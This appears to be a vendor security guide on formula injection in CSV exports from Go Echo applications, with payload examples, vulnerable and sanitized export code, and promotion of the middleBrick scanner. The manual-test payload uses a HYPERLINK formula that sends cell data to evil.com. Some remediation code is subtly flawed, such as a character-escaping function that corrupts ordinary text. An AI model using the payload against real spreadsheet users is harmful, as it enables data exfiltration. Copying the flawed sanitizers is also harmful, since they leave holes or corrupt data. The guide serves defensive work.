Formula Injection in Echo Go

Formula Injection in Echo Go typically occurs when user-supplied data containing Excel or Google Sheets formulas is processed and exported to spreadsheet formats without proper sanitization. This vulnerability allows attackers to embed malicious formulas that execute when the spreadsheet is opened by unsuspecting users.

In Echo Go applications, formula injection commonly appears in these scenarios:

• Export functionality - When Echo Go endpoints export user data to CSV or XLSX formats, malicious formulas in fields like names, addresses, or comments can survive the export process
• Report generation - Echo Go's reporting features that include user-generated content in downloadable reports
• Email attachment generation - When Echo Go creates spreadsheet attachments containing user data

Common attack patterns include:

// Malicious input that gets exported to spreadsheet
=HLOOKUP("RFP",B2:W3,2,FALSE)
=HYPERLINK("http://malicious-site.com","Click here")
=IF(MID(GET.WORKSPACE(2),1,1)="C",BAR(123),)

These formulas can cause various impacts when the spreadsheet is opened:

• Data exfiltration - Formulas that access external resources and send data to attacker-controlled servers
• Denial of service - Infinite loops or resource-intensive calculations that crash spreadsheet applications
• Information disclosure - Formulas that read local file contents or system information

In Echo Go's context, this vulnerability is particularly concerning because many applications use Echo Go to handle sensitive business data that gets exported for analysis or reporting. An attacker who successfully injects formulas could compromise multiple organizations through a single exported spreadsheet.

Detecting formula injection in Echo Go applications requires both static analysis and runtime scanning. Here are Echo Go-specific approaches:

Static Code Analysis

Review Echo Go code for export functionality that handles user input:

// Vulnerable Echo Go export function
func ExportUserData(w http.ResponseWriter, r *http.Request) {
    users := GetUsersFromDB()
    
    // Directly using user data without sanitization
    csvWriter := csv.NewWriter(w)
    for _, user := range users {
        csvWriter.Write([]string{
            user.Name,           // Could contain =FORMULA()
            user.Email,          // Could contain =HYPERLINK()
            user.Address,        // Could contain =IMPORTXML()
        })
    }
    csvWriter.Flush()
}

Runtime Scanning with middleBrick

middleBrick's black-box scanning approach is particularly effective for detecting formula injection in Echo Go applications. The scanner tests unauthenticated endpoints and identifies vulnerable export functionality:

# Scan Echo Go API endpoints with middleBrick
middlebrick scan https://echo-go-app.example.com/api/export

The scanner tests for formula injection by submitting payloads containing various formula patterns and checking if they survive the export process. middleBrick specifically looks for:

• Excel formula syntax patterns (starting with =, +, -)
• Google Sheets specific functions (IMPORTXML, IMPORTHTML, GOOGLEFINANCE)
• Macro triggers and executable content

Manual Testing

Test Echo Go export endpoints with formula injection payloads:

POST /api/export
Content-Type: application/json

{
  "name": "=1+1",
  "email": "=HYPERLINK(\"http://evil.com?data=\"&A1,\"Click here\")",
  "comment": "=IF(TRUE,\"Hacked!\",\"Safe\")"
}

After export, open the generated spreadsheet and check if formulas execute. middleBrick automates this testing across multiple formula patterns simultaneously, providing a security score and detailed findings report.

Remediating formula injection in Echo Go applications requires input sanitization and output encoding. Here are Echo Go-specific solutions:

Input Sanitization

Before processing user input that will be exported, sanitize formula-triggering characters:

package security

import (
    "strings"
    "unicode"
)

// SanitizeFormulaInput removes or escapes formula-triggering characters
func SanitizeFormulaInput(input string) string {
    if input == "" {
        return input
    }
    
    // Check if input starts with formula trigger
    if len(input) > 0 {
        firstChar := rune(input[0])
        if firstChar == '=' || firstChar == '+' || firstChar == '-' || firstChar == '@' {
            // Prepend apostrophe to force text treatment
            return "'" + input
        }
    }
    
    return input
}

// Alternative: Escape all formula characters
func EscapeFormulaCharacters(input string) string {
    // Escape formula triggers and dangerous characters
    input = strings.ReplaceAll(input, "=", "'=\"")
    input = strings.ReplaceAll(input, "+", "'+\"")
    input = strings.ReplaceAll(input, "-", "'-\"")
    input = strings.ReplaceAll(input, "@", "'@\"")
    
    return input
}

Echo Go Export with Sanitization

Integrate sanitization into Echo Go export functions:

package export

import (
    "encoding/csv"
    "net/http"
    "github.com/your-app/security"
)

func ExportSanitizedUsers(w http.ResponseWriter, r *http.Request) {
    users := GetUsersFromDB()
    
    w.Header().Set("Content-Type", "text/csv")
    w.Header().Set("Content-Disposition", "attachment; filename=users.csv")
    
    csvWriter := csv.NewWriter(w)
    
    // Write header
    csvWriter.Write([]string{"Name", "Email", "Address"})
    
    // Sanitize each field before writing
    for _, user := range users {
        csvWriter.Write([]string{
            security.SanitizeFormulaInput(user.Name),
            security.SanitizeFormulaInput(user.Email),
            security.SanitizeFormulaInput(user.Address),
        })
    }
    
    csvWriter.Flush()
}

Using Echo Go's Built-in Features

Echo Go provides context-aware sanitization through its validation middleware:

package main

import (
    "github.com/labstack/echo/v4"
    "github.com/your-app/security"
)

func main() {
    e := echo.New()
    
    // Custom sanitizer for export endpoints
    e.POST("/api/export", func(c echo.Context) error {
        var payload struct {
            Data []map[string]string `json:"data"`
        }
        
        if err := c.Bind(&payload); err != nil {
            return err
        }
        
        // Sanitize all string values in the export data
        for _, record := range payload.Data {
            for key, value := range record {
                record[key] = security.SanitizeFormulaInput(value)
            }
        }
        
        // Process export with sanitized data
        return c.JSON(http.StatusOK, map[string]string{"status": "exported"})
    })
    
    e.Start(":1323")
}

Comprehensive Protection

For maximum protection, combine multiple approaches:

package security

import (
    "regexp"
    "strings"
)

var formulaTriggers = regexp.MustCompile(`^\s*[=+\-@]`)

func ComprehensiveSanitize(input string) string {
    // Check for dangerous formula patterns
    if formulaTriggers.MatchString(input) {
        // Prepend apostrophe for Excel compatibility
        return "'" + input
    }
    
    // Additional sanitization for Google Sheets functions
    dangerousFunctions := []string{"IMPORT", "QUERY", "GOOGLE", "HYPERLINK"}
    for _, fn := range dangerousFunctions {
        if strings.Contains(strings.ToUpper(input), fn) {
            return "'" + input
        }
    }
    
    return input
}

middleBrick's continuous monitoring (Pro plan) can verify that these remediations remain effective as your Echo Go application evolves, scanning on a configurable schedule and alerting you to any formula injection vulnerabilities that emerge.